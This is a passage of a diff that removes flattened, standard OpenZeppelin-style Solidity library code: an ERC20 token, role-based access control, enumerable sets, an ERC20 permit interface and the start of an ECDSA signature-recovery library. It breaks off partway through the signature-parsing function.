- * functions have been added to mitigate the well-known issues around setting
- * allowances. See {IERC20-approve}.
- */
-contract ERC20 is Context, IERC20, IERC20Metadata {
-    mapping (address => uint256) private _balances;
-
-    mapping (address => mapping (address => uint256)) private _allowances;
-
-    uint256 private _totalSupply;
-
-    string private _name;
-    string private _symbol;
-
-    /**
-     * @dev Sets the values for {name} and {symbol}.
-     *
-     * The default value of {decimals} is 18. To select a different value for
-     * {decimals} you should overload it.
-     *
-     * All two of these values are immutable: they can only be set once during
-     * construction.
-     */
-    constructor (string memory name_, string memory symbol_) {
-        _name = name_;
-        _symbol = symbol_;
-    }
-
-    /**
-     * @dev Returns the name of the token.
-     */
-    function name() public view virtual override returns (string memory) {
-        return _name;
-    }
-
-    /**
-     * @dev Returns the symbol of the token, usually a shorter version of the
-     * name.
-     */
-    function symbol() public view virtual override returns (string memory) {
-        return _symbol;
-    }
-
-    /**
-     * @dev Returns the number of decimals used to get its user representation.
-     * For example, if `decimals` equals `2`, a balance of `505` tokens should
-     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
-     *
-     * Tokens usually opt for a value of 18, imitating the relationship between
-     * Ether and Wei. This is the value {ERC20} uses, unless this function is
-     * overridden;
-     *
-     * NOTE: This information is only used for _display_ purposes: it in
-     * no way affects any of the arithmetic of the contract, including
-     * {IERC20-balanceOf} and {IERC20-transfer}.
-     */
-    function decimals() public view virtual override returns (uint8) {
-        return 18;
-    }
-
-    /**
-     * @dev See {IERC20-totalSupply}.
-     */
-    function totalSupply() public view virtual override returns (uint256) {
-        return _totalSupply;
-    }
-
-    /**
-     * @dev See {IERC20-balanceOf}.
-     */
-    function balanceOf(address account) public view virtual override returns (uint256) {
-        return _balances[account];
-    }
-
-    /**
-     * @dev See {IERC20-transfer}.
-     *
-     * Requirements:
-     *
-     * - `recipient` cannot be the zero address.
-     * - the caller must have a balance of at least `amount`.
-     */
-    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
-        _transfer(_msgSender(), recipient, amount);
-        return true;
-    }
-
-    /**
-     * @dev See {IERC20-allowance}.
-     */
-    function allowance(address owner, address spender) public view virtual override returns (uint256) {
-        return _allowances[owner][spender];
-    }
-
-    /**
-     * @dev See {IERC20-approve}.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     */
-    function approve(address spender, uint256 amount) public virtual override returns (bool) {
-        _approve(_msgSender(), spender, amount);
-        return true;
-    }
-
-    /**
-     * @dev See {IERC20-transferFrom}.
-     *
-     * Emits an {Approval} event indicating the updated allowance. This is not
-     * required by the EIP. See the note at the beginning of {ERC20}.
-     *
-     * Requirements:
-     *
-     * - `sender` and `recipient` cannot be the zero address.
-     * - `sender` must have a balance of at least `amount`.
-     * - the caller must have allowance for ``sender``'s tokens of at least
-     * `amount`.
-     */
-    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
-        _transfer(sender, recipient, amount);
-
-        uint256 currentAllowance = _allowances[sender][_msgSender()];
-        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
-        unchecked {
-            _approve(sender, _msgSender(), currentAllowance - amount);
-        }
-
-        return true;
-    }
-
-    /**
-     * @dev Atomically increases the allowance granted to `spender` by the caller.
-     *
-     * This is an alternative to {approve} that can be used as a mitigation for
-     * problems described in {IERC20-approve}.
-     *
-     * Emits an {Approval} event indicating the updated allowance.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     */
-    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
-        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
-        return true;
-    }
-
-    /**
-     * @dev Atomically decreases the allowance granted to `spender` by the caller.
-     *
-     * This is an alternative to {approve} that can be used as a mitigation for
-     * problems described in {IERC20-approve}.
-     *
-     * Emits an {Approval} event indicating the updated allowance.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     * - `spender` must have allowance for the caller of at least
-     * `subtractedValue`.
-     */
-    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
-        uint256 currentAllowance = _allowances[_msgSender()][spender];
-        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
-        unchecked {
-            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
-        }
-
-        return true;
-    }
-
-    /**
-     * @dev Moves tokens `amount` from `sender` to `recipient`.
-     *
-     * This is internal function is equivalent to {transfer}, and can be used to
-     * e.g. implement automatic token fees, slashing mechanisms, etc.
-     *
-     * Emits a {Transfer} event.
-     *
-     * Requirements:
-     *
-     * - `sender` cannot be the zero address.
-     * - `recipient` cannot be the zero address.
-     * - `sender` must have a balance of at least `amount`.
-     */
-    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
-        require(sender != address(0), "ERC20: transfer from the zero address");
-        require(recipient != address(0), "ERC20: transfer to the zero address");
-
-        _beforeTokenTransfer(sender, recipient, amount);
-
-        uint256 senderBalance = _balances[sender];
-        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
-        unchecked {
-            _balances[sender] = senderBalance - amount;
-        }
-        _balances[recipient] += amount;
-
-        emit Transfer(sender, recipient, amount);
-    }
-
-    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
-     * the total supply.
-     *
-     * Emits a {Transfer} event with `from` set to the zero address.
-     *
-     * Requirements:
-     *
-     * - `account` cannot be the zero address.
-     */
-    function _mint(address account, uint256 amount) internal virtual {
-        require(account != address(0), "ERC20: mint to the zero address");
-
-        _beforeTokenTransfer(address(0), account, amount);
-
-        _totalSupply += amount;
-        _balances[account] += amount;
-        emit Transfer(address(0), account, amount);
-    }
-
-    /**
-     * @dev Destroys `amount` tokens from `account`, reducing the
-     * total supply.
-     *
-     * Emits a {Transfer} event with `to` set to the zero address.
-     *
-     * Requirements:
-     *
-     * - `account` cannot be the zero address.
-     * - `account` must have at least `amount` tokens.
-     */
-    function _burn(address account, uint256 amount) internal virtual {
-        require(account != address(0), "ERC20: burn from the zero address");
-
-        _beforeTokenTransfer(account, address(0), amount);
-
-        uint256 accountBalance = _balances[account];
-        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
-        unchecked {
-            _balances[account] = accountBalance - amount;
-        }
-        _totalSupply -= amount;
-
-        emit Transfer(account, address(0), amount);
-    }
-
-    /**
-     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
-     *
-     * This internal function is equivalent to `approve`, and can be used to
-     * e.g. set automatic allowances for certain subsystems, etc.
-     *
-     * Emits an {Approval} event.
-     *
-     * Requirements:
-     *
-     * - `owner` cannot be the zero address.
-     * - `spender` cannot be the zero address.
-     */
-    function _approve(address owner, address spender, uint256 amount) internal virtual {
-        require(owner != address(0), "ERC20: approve from the zero address");
-        require(spender != address(0), "ERC20: approve to the zero address");
-
-        _allowances[owner][spender] = amount;
-        emit Approval(owner, spender, amount);
-    }
-
-    /**
-     * @dev Hook that is called before any transfer of tokens. This includes
-     * minting and burning.
-     *
-     * Calling conditions:
-     *
-     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
-     * will be to transferred to `to`.
-     * - when `from` is zero, `amount` tokens will be minted for `to`.
-     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
-     * - `from` and `to` are never both zero.
-     *
-     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
-}
-
-
-// File contracts/utils/Strings.sol
-
-
-
-
-
-library Strings {
-    bytes16 private constant alphabet = "0123456789abcdef";
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
-     */
-    function toString(uint256 value) internal pure returns (string memory) {
-        // Inspired by OraclizeAPI's implementation - MIT licence
-        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
-
-        if (value == 0) {
-            return "0";
-        }
-        uint256 temp = value;
-        uint256 digits;
-        while (temp != 0) {
-            digits++;
-            temp /= 10;
-        }
-        bytes memory buffer = new bytes(digits);
-        while (value != 0) {
-            digits -= 1;
-            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
-            value /= 10;
-        }
-        return string(buffer);
-    }
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
-     */
-    function toHexString(uint256 value) internal pure returns (string memory) {
-        if (value == 0) {
-            return "0x00";
-        }
-        uint256 temp = value;
-        uint256 length = 0;
-        while (temp != 0) {
-            length++;
-            temp >>= 8;
-        }
-        return toHexString(value, length);
-    }
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
-     */
-    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
-        bytes memory buffer = new bytes(2 * length + 2);
-        buffer[0] = "0";
-        buffer[1] = "x";
-        for (uint256 i = 2 * length + 1; i > 1; --i) {
-            buffer[i] = alphabet[value & 0xf];
-            value >>= 4;
-        }
-        require(value == 0, "Strings: hex length insufficient");
-        return string(buffer);
-    }
-
-}
-
-
-// File contracts/extensions/IERC165.sol
-
-
-
-
-
-/**
- * @dev Interface of the ERC165 standard, as defined in the
- * https://eips.ethereum.org/EIPS/eip-165[EIP].
- *
- * Implementers can declare support of contract interfaces, which can then be
- * queried by others ({ERC165Checker}).
- *
- * For an implementation, see {ERC165}.
- */
-interface IERC165 {
-    /**
-     * @dev Returns true if this contract implements the interface defined by
-     * `interfaceId`. See the corresponding
-     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
-     * to learn more about how these ids are created.
-     *
-     * This function call must use less than 30 000 gas.
-     */
-    function supportsInterface(bytes4 interfaceId) external view returns (bool);
-}
-
-
-// File contracts/extensions/ERC165.sol
-
-
-
-
-
-/**
- * @dev Implementation of the {IERC165} interface.
- *
- * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
- * for the additional interface id that will be supported. For example:
- *
- * ```solidity
- * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
- *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
- * }
- * ```
- *
- * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
- */
-abstract contract ERC165 is IERC165 {
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IERC165).interfaceId;
-    }
-}
-
-
-// File contracts/extensions/AccessControl.sol
-
-/**
- * @dev External interface of AccessControl declared to support ERC165 detection.
- */
-interface IAccessControl {
-    function hasRole(bytes32 role, address account) external view returns (bool);
-    function getRoleAdmin(bytes32 role) external view returns (bytes32);
-    function grantRole(bytes32 role, address account) external;
-    function revokeRole(bytes32 role, address account) external;
-    function renounceRole(bytes32 role, address account) external;
-}
-
-/**
- * @dev Contract module that allows children to implement role-based access
- * control mechanisms. This is a lightweight version that doesn't allow enumerating role
- * members except through off-chain means by accessing the contract event logs. Some
- * applications may benefit from on-chain enumerability, for those cases see
- * {AccessControlEnumerable}.
- *
- * Roles are referred to by their `bytes32` identifier. These should be exposed
- * in the external API and be unique. The best way to achieve this is by
- * using `public constant` hash digests:
- *
- * ```
- * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
- * ```
- *
- * Roles can be used to represent a set of permissions. To restrict access to a
- * function call, use {hasRole}:
- *
- * ```
- * function foo() public {
- *     require(hasRole(MY_ROLE, msg.sender));
- *     ...
- * }
- * ```
- *
- * Roles can be granted and revoked dynamically via the {grantRole} and
- * {revokeRole} functions. Each role has an associated admin role, and only
- * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
- *
- * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
- * that only accounts with this role will be able to grant or revoke other
- * roles. More complex role relationships can be created by using
- * {_setRoleAdmin}.
- *
- * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
- * grant and revoke this role. Extra precautions should be taken to secure
- * accounts that have been granted it.
- */
-abstract contract AccessControl is Context, IAccessControl, ERC165 {
-    struct RoleData {
-        mapping (address => bool) members;
-        bytes32 adminRole;
-    }
-
-    mapping (bytes32 => RoleData) private _roles;
-
-    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
-
-    /**
-     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
-     *
-     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
-     * {RoleAdminChanged} not being emitted signaling this.
-     *
-     * _Available since v3.1._
-     */
-    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
-
-    /**
-     * @dev Emitted when `account` is granted `role`.
-     *
-     * `sender` is the account that originated the contract call, an admin role
-     * bearer except when using {_setupRole}.
-     */
-    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
-
-    /**
-     * @dev Emitted when `account` is revoked `role`.
-     *
-     * `sender` is the account that originated the contract call:
-     *   - if using `revokeRole`, it is the admin role bearer
-     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
-     */
-    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
-
-    /**
-     * @dev Modifier that checks that an account has a specific role. Reverts
-     * with a standardized message including the required role.
-     *
-     * The format of the revert reason is given by the following regular expression:
-     *
-     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
-     *
-     * _Available since v4.1._
-     */
-    modifier onlyRole(bytes32 role) {
-        _checkRole(role, _msgSender());
-        _;
-    }
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IAccessControl).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev Returns `true` if `account` has been granted `role`.
-     */
-    function hasRole(bytes32 role, address account) public view override returns (bool) {
-        return _roles[role].members[account];
-    }
-
-    /**
-     * @dev Revert with a standard message if `account` is missing `role`.
-     *
-     * The format of the revert reason is given by the following regular expression:
-     *
-     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
-     */
-    function _checkRole(bytes32 role, address account) internal view {
-        if(!hasRole(role, account)) {
-            revert(string(abi.encodePacked(
-                "AccessControl: account ",
-                Strings.toHexString(uint160(account), 20),
-                " is missing role ",
-                Strings.toHexString(uint256(role), 32)
-            )));
-        }
-    }
-
-    /**
-     * @dev Returns the admin role that controls `role`. See {grantRole} and
-     * {revokeRole}.
-     *
-     * To change a role's admin, use {_setRoleAdmin}.
-     */
-    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
-        return _roles[role].adminRole;
-    }
-
-    /**
-     * @dev Grants `role` to `account`.
-     *
-     * If `account` had not been already granted `role`, emits a {RoleGranted}
-     * event.
-     *
-     * Requirements:
-     *
-     * - the caller must have ``role``'s admin role.
-     */
-    function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
-        _grantRole(role, account);
-    }
-
-    /**
-     * @dev Revokes `role` from `account`.
-     *
-     * If `account` had been granted `role`, emits a {RoleRevoked} event.
-     *
-     * Requirements:
-     *
-     * - the caller must have ``role``'s admin role.
-     */
-    function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
-        _revokeRole(role, account);
-    }
-
-    /**
-     * @dev Revokes `role` from the calling account.
-     *
-     * Roles are often managed via {grantRole} and {revokeRole}: this function's
-     * purpose is to provide a mechanism for accounts to lose their privileges
-     * if they are compromised (such as when a trusted device is misplaced).
-     *
-     * If the calling account had been granted `role`, emits a {RoleRevoked}
-     * event.
-     *
-     * Requirements:
-     *
-     * - the caller must be `account`.
-     */
-    function renounceRole(bytes32 role, address account) public virtual override {
-        require(account == _msgSender(), "AccessControl: can only renounce roles for self");
-
-        _revokeRole(role, account);
-    }
-
-    /**
-     * @dev Grants `role` to `account`.
-     *
-     * If `account` had not been already granted `role`, emits a {RoleGranted}
-     * event. Note that unlike {grantRole}, this function doesn't perform any
-     * checks on the calling account.
-     *
-     * [WARNING]
-     * ====
-     * This function should only be called from the constructor when setting
-     * up the initial roles for the system.
-     *
-     * Using this function in any other way is effectively circumventing the admin
-     * system imposed by {AccessControl}.
-     * ====
-     */
-    function _setupRole(bytes32 role, address account) internal virtual {
-        _grantRole(role, account);
-    }
-
-    /**
-     * @dev Sets `adminRole` as ``role``'s admin role.
-     *
-     * Emits a {RoleAdminChanged} event.
-     */
-    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
-        emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
-        _roles[role].adminRole = adminRole;
-    }
-
-    function _grantRole(bytes32 role, address account) private {
-        if (!hasRole(role, account)) {
-            _roles[role].members[account] = true;
-            emit RoleGranted(role, account, _msgSender());
-        }
-    }
-
-    function _revokeRole(bytes32 role, address account) private {
-        if (hasRole(role, account)) {
-            _roles[role].members[account] = false;
-            emit RoleRevoked(role, account, _msgSender());
-        }
-    }
-}
-
-
-// File contracts/utils/EnumerableSet.sol
-
-/**
- * @dev Library for managing
- * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
- * types.
- *
- * Sets have the following properties:
- *
- * - Elements are added, removed, and checked for existence in constant time
- * (O(1)).
- * - Elements are enumerated in O(n). No guarantees are made on the ordering.
- *
- * ```
- * contract Example {
- *     // Add the library methods
- *     using EnumerableSet for EnumerableSet.AddressSet;
- *
- *     // Declare a set state variable
- *     EnumerableSet.AddressSet private mySet;
- * }
- * ```
- *
- * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
- * and `uint256` (`UintSet`) are supported.
- */
-library EnumerableSet {
-    // To implement this library for multiple types with as little code
-    // repetition as possible, we write it in terms of a generic Set type with
-    // bytes32 values.
-    // The Set implementation uses private functions, and user-facing
-    // implementations (such as AddressSet) are just wrappers around the
-    // underlying Set.
-    // This means that we can only create new EnumerableSets for types that fit
-    // in bytes32.
-
-    struct Set {
-        // Storage of set values
-        bytes32[] _values;
-
-        // Position of the value in the `values` array, plus 1 because index 0
-        // means a value is not in the set.
-        mapping (bytes32 => uint256) _indexes;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function _add(Set storage set, bytes32 value) private returns (bool) {
-        if (!_contains(set, value)) {
-            set._values.push(value);
-            // The value is stored at length-1, but we add 1 to all indexes
-            // and use 0 as a sentinel value
-            set._indexes[value] = set._values.length;
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function _remove(Set storage set, bytes32 value) private returns (bool) {
-        // We read and store the value's index to prevent multiple reads from the same storage slot
-        uint256 valueIndex = set._indexes[value];
-
-        if (valueIndex != 0) { // Equivalent to contains(set, value)
-            // To delete an element from the _values array in O(1), we swap the element to delete with the last one in
-            // the array, and then remove the last element (sometimes called as 'swap and pop').
-            // This modifies the order of the array, as noted in {at}.
-
-            uint256 toDeleteIndex = valueIndex - 1;
-            uint256 lastIndex = set._values.length - 1;
-
-            if (lastIndex != toDeleteIndex) {
-                bytes32 lastvalue = set._values[lastIndex];
-
-                // Move the last value to the index where the value to delete is
-                set._values[toDeleteIndex] = lastvalue;
-                // Update the index for the moved value
-                set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
-            }
-
-            // Delete the slot where the moved value was stored
-            set._values.pop();
-
-            // Delete the index for the deleted slot
-            delete set._indexes[value];
-
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function _contains(Set storage set, bytes32 value) private view returns (bool) {
-        return set._indexes[value] != 0;
-    }
-
-    /**
-     * @dev Returns the number of values on the set. O(1).
-     */
-    function _length(Set storage set) private view returns (uint256) {
-        return set._values.length;
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function _at(Set storage set, uint256 index) private view returns (bytes32) {
-        return set._values[index];
-    }
-
-    // Bytes32Set
-
-    struct Bytes32Set {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
-        return _add(set._inner, value);
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
-        return _remove(set._inner, value);
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
-        return _contains(set._inner, value);
-    }
-
-    /**
-     * @dev Returns the number of values in the set. O(1).
-     */
-    function length(Bytes32Set storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
-        return _at(set._inner, index);
-    }
-
-    // AddressSet
-
-    struct AddressSet {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(AddressSet storage set, address value) internal returns (bool) {
-        return _add(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(AddressSet storage set, address value) internal returns (bool) {
-        return _remove(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(AddressSet storage set, address value) internal view returns (bool) {
-        return _contains(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Returns the number of values in the set. O(1).
-     */
-    function length(AddressSet storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(AddressSet storage set, uint256 index) internal view returns (address) {
-        return address(uint160(uint256(_at(set._inner, index))));
-    }
-
-
-    // UintSet
-
-    struct UintSet {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(UintSet storage set, uint256 value) internal returns (bool) {
-        return _add(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(UintSet storage set, uint256 value) internal returns (bool) {
-        return _remove(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(UintSet storage set, uint256 value) internal view returns (bool) {
-        return _contains(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Returns the number of values on the set. O(1).
-     */
-    function length(UintSet storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(UintSet storage set, uint256 index) internal view returns (uint256) {
-        return uint256(_at(set._inner, index));
-    }
-}
-
-
-// File contracts/extensions/AccessControlEnumerable.sol
-
-
-
-
-
-
-/**
- * @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
- */
-interface IAccessControlEnumerable {
-    function getRoleMember(bytes32 role, uint256 index) external view returns (address);
-    function getRoleMemberCount(bytes32 role) external view returns (uint256);
-}
-
-/**
- * @dev Extension of {AccessControl} that allows enumerating the members of each role.
- */
-abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
-    using EnumerableSet for EnumerableSet.AddressSet;
-
-    mapping (bytes32 => EnumerableSet.AddressSet) private _roleMembers;
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IAccessControlEnumerable).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev Returns one of the accounts that have `role`. `index` must be a
-     * value between 0 and {getRoleMemberCount}, non-inclusive.
-     *
-     * Role bearers are not sorted in any particular way, and their ordering may
-     * change at any point.
-     *
-     * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
-     * you perform all queries on the same block. See the following
-     * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
-     * for more information.
-     */
-    function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
-        return _roleMembers[role].at(index);
-    }
-
-    /**
-     * @dev Returns the number of accounts that have `role`. Can be used
-     * together with {getRoleMember} to enumerate all bearers of a role.
-     */
-    function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
-        return _roleMembers[role].length();
-    }
-
-    /**
-     * @dev Overload {grantRole} to track enumerable memberships
-     */
-    function grantRole(bytes32 role, address account) public virtual override {
-        super.grantRole(role, account);
-        _roleMembers[role].add(account);
-    }
-
-    /**
-     * @dev Overload {revokeRole} to track enumerable memberships
-     */
-    function revokeRole(bytes32 role, address account) public virtual override {
-        super.revokeRole(role, account);
-        _roleMembers[role].remove(account);
-    }
-
-    /**
-     * @dev Overload {renounceRole} to track enumerable memberships
-     */
-    function renounceRole(bytes32 role, address account) public virtual override {
-        super.renounceRole(role, account);
-        _roleMembers[role].remove(account);
-    }
-
-    /**
-     * @dev Overload {_setupRole} to track enumerable memberships
-     */
-    function _setupRole(bytes32 role, address account) internal virtual override {
-        super._setupRole(role, account);
-        _roleMembers[role].add(account);
-    }
-}
-
-
-// File contracts/extensions/draft-IERC20Permit.sol
-
-/**
- * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
- * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
- *
- * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
- * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
- * need to send a transaction, and thus is not required to hold Ether at all.
- */
-interface IERC20Permit {
-    /**
-     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
-     * given ``owner``'s signed approval.
-     *
-     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
-     * ordering also apply here.
-     *
-     * Emits an {Approval} event.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     * - `deadline` must be a timestamp in the future.
-     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
-     * over the EIP712-formatted function arguments.
-     * - the signature must use ``owner``'s current nonce (see {nonces}).
-     *
-     * For more information on the signature format, see the
-     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
-     * section].
-     */
-    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
-
-    /**
-     * @dev Returns the current nonce for `owner`. This value must be
-     * included whenever a signature is generated for {permit}.
-     *
-     * Every successful call to {permit} increases ``owner``'s nonce by one. This
-     * prevents a signature from being used multiple times.
-     */
-    function nonces(address owner) external view returns (uint256);
-
-    /**
-     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
-     */
-    // solhint-disable-next-line func-name-mixedcase
-    function DOMAIN_SEPARATOR() external view returns (bytes32);
-}
-
-
-// File contracts/utils/cryptography/ECDSA.sol
-
-
-
-
-
-/**
- * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
- *
- * These functions can be used to verify that a message was signed by the holder
- * of the private keys of a given address.
- */
-library ECDSA {
-    /**
-     * @dev Returns the address that signed a hashed message (`hash`) with
-     * `signature`. This address can then be used for verification purposes.
-     *
-     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
-     * this function rejects them by requiring the `s` value to be in the lower
-     * half order, and the `v` value to be either 27 or 28.
-     *
-     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
-     * verification to be secure: it is possible to craft signatures that
-     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
-     * this is by receiving a hash of the original message (which may otherwise
-     * be too long), and then calling {toEthSignedMessageHash} on it.
-     *
-     * Documentation for signature generation:
-     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
-     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
-     */
-    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
-        // Divide the signature in r, s and v variables
-        bytes32 r;
-        bytes32 s;
-        uint8 v;
-
-        // Check the signature length
-        // - case 65: r,s,v signature (standard)
-        // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
-        if (signature.length == 65) {
-            // ecrecover takes the signature parameters, and the only way to get them
-            // currently is to use assembly.
-            // solhint-disable-next-line no-inline-assembly
-            assembly {
-                r := mload(add(signature, 0x20))
-                s := mload(add(signature, 0x40))
-                v := byte(0, mload(add(signature, 0x60)))
-            }
-        } else if (signature.length == 64) {
